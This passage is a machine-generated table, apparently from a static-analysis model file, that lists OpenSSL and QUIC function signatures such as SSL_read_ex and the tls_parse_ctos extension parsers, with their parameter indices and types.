dtls1_write_app_data_bytes | 3 | size_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | dtls1_write_app_data_bytes | 4 | size_t * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 0 | SSL * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 1 | uint8_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 2 | const void * | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 3 | size_t | +| (SSL *,uint8_t,const void *,size_t,size_t *) | | ssl3_write_bytes | 4 | size_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 0 | SSL * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 1 | uint8_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 2 | uint8_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 3 | unsigned char * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 4 | size_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 5 | int | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | dtls1_read_bytes | 6 | size_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 0 | SSL * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 1 | uint8_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 2 | uint8_t * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 3 | unsigned char * | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 4 | size_t | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 5 | int | +| (SSL *,uint8_t,uint8_t *,unsigned char *,size_t,int,size_t *) | | ssl3_read_bytes | 6 | size_t * | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 0 | SSL * | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 1 | uint8_t | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 2 | uint8_t | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 3 | uint8_t | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 4 | const unsigned char * | +| (SSL *,uint8_t,uint8_t,uint8_t,const unsigned char *,size_t) | | SSL_dane_tlsa_add | 5 | size_t | +| (SSL *,uint16_t *,size_t *) | | SSL_client_hello_get_extension_order | 0 | SSL * | +| (SSL *,uint16_t *,size_t *) | | SSL_client_hello_get_extension_order | 1 | uint16_t * | +| (SSL *,uint16_t *,size_t *) | | SSL_client_hello_get_extension_order | 2 | size_t * | +| (SSL *,uint32_t) | | SSL_set_max_early_data | 0 | SSL * | +| (SSL *,uint32_t) | | SSL_set_max_early_data | 1 | uint32_t | +| (SSL *,uint32_t) | | SSL_set_recv_max_early_data | 0 | SSL * | +| (SSL *,uint32_t) | | SSL_set_recv_max_early_data | 1 | uint32_t | +| (SSL *,uint64_t) | | SSL_clear_options | 0 | SSL * | +| (SSL *,uint64_t) | | SSL_clear_options | 1 | uint64_t | +| (SSL *,uint64_t) | | SSL_new_listener_from | 0 | SSL * | +| (SSL *,uint64_t) | | SSL_new_listener_from | 1 | uint64_t | +| (SSL *,uint64_t) | | SSL_set_options | 0 | SSL * | +| (SSL *,uint64_t) | | SSL_set_options | 1 | uint64_t | +| (SSL *,uint64_t) | | ossl_quic_clear_options | 0 | SSL * | +| (SSL *,uint64_t) | | ossl_quic_clear_options | 1 | uint64_t | +| (SSL *,uint64_t) | | ossl_quic_new_listener_from | 0 | SSL * | +| (SSL *,uint64_t) | | ossl_quic_new_listener_from | 1 | uint64_t | +| (SSL *,uint64_t) | | ossl_quic_set_options | 0 | SSL * | +| (SSL *,uint64_t) | | ossl_quic_set_options | 1 | uint64_t | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 0 | SSL * | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 1 | uint64_t | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 2 | const SSL_SHUTDOWN_EX_ARGS * | +| (SSL *,uint64_t,const SSL_SHUTDOWN_EX_ARGS *,size_t) | | SSL_shutdown_ex | 3 | size_t | +| (SSL *,unsigned int) | | SSL_set_hostflags | 0 | SSL * | +| (SSL *,unsigned int) | | SSL_set_hostflags | 1 | unsigned int | +| (SSL *,unsigned long) | | SSL_dane_clear_flags | 0 | SSL * | +| (SSL *,unsigned long) | | SSL_dane_clear_flags | 1 | unsigned long | +| (SSL *,unsigned long) | | SSL_dane_set_flags | 0 | SSL * | +| (SSL *,unsigned long) | | SSL_dane_set_flags | 1 | unsigned long | +| (SSL *,void *) | | SSL_set0_security_ex_data | 0 | SSL * | +| (SSL *,void *) | | SSL_set0_security_ex_data | 1 | void * | +| (SSL *,void *) | | SSL_set_async_callback_arg | 0 | SSL * | +| (SSL *,void *) | | SSL_set_async_callback_arg | 1 | void * | +| (SSL *,void *) | | SSL_set_default_passwd_cb_userdata | 0 | SSL * | +| (SSL *,void *) | | SSL_set_default_passwd_cb_userdata | 1 | void * | +| (SSL *,void *) | | SSL_set_record_padding_callback_arg | 0 | SSL * | +| (SSL *,void *) | | SSL_set_record_padding_callback_arg | 1 | void * | +| (SSL *,void *,int) | | SSL_peek | 0 | SSL * | +| (SSL *,void *,int) | | SSL_peek | 1 | void * | +| (SSL *,void *,int) | | SSL_peek | 2 | int | +| (SSL *,void *,int) | | SSL_read | 0 | SSL * | +| (SSL *,void *,int) | | SSL_read | 1 | void * | +| (SSL *,void *,int) | | SSL_read | 2 | int | +| (SSL *,void *,int) | | SSL_set_session_ticket_ext | 0 | SSL * | +| (SSL *,void *,int) | | SSL_set_session_ticket_ext | 1 | void * | +| (SSL *,void *,int) | | SSL_set_session_ticket_ext | 2 | int | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | SSL_peek_ex | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | SSL_read_early_data | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | SSL_read_ex | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_peek | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | ossl_quic_read | 3 | size_t * | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 0 | SSL * | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 1 | void * | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 2 | size_t | +| (SSL *,void *,size_t,size_t *) | | ssl_read_internal | 3 | size_t * | +| (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 0 | SSL_CIPHER * | +| (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 1 | const SSL_CIPHER * | +| (SSL_CIPHER *,const SSL_CIPHER *,int) | | OBJ_bsearch_ssl_cipher_id | 2 | int | +| (SSL_CONF_CTX *,SSL *) | | SSL_CONF_CTX_set_ssl | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,SSL *) | | SSL_CONF_CTX_set_ssl | 1 | SSL * | +| (SSL_CONF_CTX *,SSL_CTX *) | | SSL_CONF_CTX_set_ssl_ctx | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,SSL_CTX *) | | SSL_CONF_CTX_set_ssl_ctx | 1 | SSL_CTX * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_CTX_set1_prefix | 1 | const char * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,const char *) | | SSL_CONF_cmd_value_type | 1 | const char * | +| (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 1 | const char * | +| (SSL_CONF_CTX *,const char *,const char *) | | SSL_CONF_cmd | 2 | const char * | +| (SSL_CONF_CTX *,int *,char ***) | | SSL_CONF_cmd_argv | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,int *,char ***) | | SSL_CONF_cmd_argv | 1 | int * | +| (SSL_CONF_CTX *,int *,char ***) | | SSL_CONF_cmd_argv | 2 | char *** | +| (SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *) | | config_ctx | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *) | | config_ctx | 1 | stack_st_OPENSSL_STRING * | +| (SSL_CONF_CTX *,stack_st_OPENSSL_STRING *,SSL_CTX *) | | config_ctx | 2 | SSL_CTX * | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_clear_flags | 1 | unsigned int | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 0 | SSL_CONF_CTX * | +| (SSL_CONF_CTX *,unsigned int) | | SSL_CONF_CTX_set_flags | 1 | unsigned int | +| (SSL_CONNECTION *) | | dtls1_query_mtu | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | get_ca_names | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_client_max_message_size | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_get_in_handshake | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_get_state | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ossl_statem_server_max_message_size | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ssl_get_ciphers_by_id | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *) | | ssl_set_client_hello_version | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *) | | ssl_get_prev_session | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *) | | ssl_get_prev_session | 1 | CLIENTHELLO_MSG * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *) | | ssl_choose_server_version | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *) | | ssl_choose_server_version | 1 | CLIENTHELLO_MSG * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,DOWNGRADE *) | | ssl_choose_server_version | 2 | DOWNGRADE * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **) | | tls_get_ticket_from_client | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **) | | tls_get_ticket_from_client | 1 | CLIENTHELLO_MSG * | +| (SSL_CONNECTION *,CLIENTHELLO_MSG *,SSL_SESSION **) | | tls_get_ticket_from_client | 2 | SSL_SESSION ** | +| (SSL_CONNECTION *,EVP_PKEY *) | | ssl_generate_pkey | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,EVP_PKEY *) | | ssl_generate_pkey | 1 | EVP_PKEY * | +| (SSL_CONNECTION *,PACKET *) | | dtls_process_hello_verify | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | dtls_process_hello_verify | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_client_process_message | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_client_process_message | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_server_process_message | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | ossl_statem_server_process_message | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | parse_ca_names | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | parse_ca_names | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_certificate_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_certificate_request | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_certificate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_certificate | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_hello | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_key_exchange | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_key_exchange | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_rpk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_client_rpk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_key_exchange | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_key_exchange | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_new_session_ticket | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_new_session_ticket | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_next_proto | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_next_proto | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_certificate | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_certificate | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_hello | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_hello | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_rpk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *) | | tls_process_server_rpk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,EVP_PKEY **) | | tls_process_rpk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,EVP_PKEY **) | | tls_process_rpk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,EVP_PKEY **) | | tls_process_rpk | 2 | EVP_PKEY ** | +| (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,int) | | ssl_cache_cipherlist | 2 | int | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 3 | RAW_EXTENSION ** | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 4 | size_t * | +| (SSL_CONNECTION *,PACKET *,unsigned int,RAW_EXTENSION **,size_t *,int) | | tls_collect_extensions | 5 | int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_alpn | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_client_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_cookie | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_key_share | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_psk_kex_modes | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_server_name | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_sig_algs_cert | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_srp | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_status_request | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_ctos_supported_groups | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_alpn | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_client_cert_type | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_cookie | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_ec_pt_formats | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 0 | SSL_CONNECTION * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 1 | PACKET * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 2 | unsigned int | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 3 | X509 * | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_key_share | 4 | size_t | +| (SSL_CONNECTION *,PACKET *,unsigned int,X509 *,size_t) | | tls_parse_stoc_npn | 0 | 